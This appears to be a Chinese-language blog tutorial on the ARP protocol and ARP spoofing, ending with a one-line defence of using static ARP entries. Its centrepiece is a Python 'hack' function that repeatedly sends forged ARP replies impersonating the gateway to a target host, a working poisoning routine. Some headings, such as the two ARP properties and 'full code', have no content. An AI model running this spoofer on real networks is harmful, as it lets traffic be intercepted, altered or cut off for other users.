arp 1970-01-01 00:00

ARP

在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。 而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。

ARP的两个特性

ARP 攻击

基于这两个特点衍生了ARP欺骗攻击,此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定电脑或所有电脑无法正常连接。

看下面这个简单的arp欺骗程序:

def hack(hack_ip, gate_way_ip):

    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806))
    sock.bind(("p3p1", socket.SOCK_RAW))
    # sock.bind(("en0", socket.SOCK_RAW))

    # 模拟网关发出arp应答
    sender_ip = pack('!4B', *[int(x) for x in gate_way_ip.split('.')])
    target_ip = pack('!4B', *[int(x) for x in hack_ip.split('.')])
    sender_mac = pack('!6B', *(0x11,)*6)#伪造的mac地址
    target_mac = pack('!6B', *(int(item, 16) for item in get_ip_mac(hack_ip).split(":")))

    count = 0
    arpframe = [
        # ## ETHERNET
        # destination MAC addr
        target_mac,
        # source MAC addr
        sender_mac,

        ETHERNET_PROTOCOL_TYPE_ARP,

        # ## ARP
        ARP_PROTOCOL_TYPE_ETHERNET_IP,
        # operation type
        ARPOP_REPLY,
        # sender MAC addr
        sender_mac,
        # sender IP addr
        sender_ip,
        # target hardware addr
        target_mac,
        # target IP addr
        target_ip,
    ]

    # send the ARP
    while 1:
        sock.send(''.join(arpframe))
        count += 1
        sys.stdout.write("\r 发送了{}个arp包".format(count))
        time.sleep(0.3)

完整代码

防御方法

网络内的每台电脑的ARP一律改用静态的方式。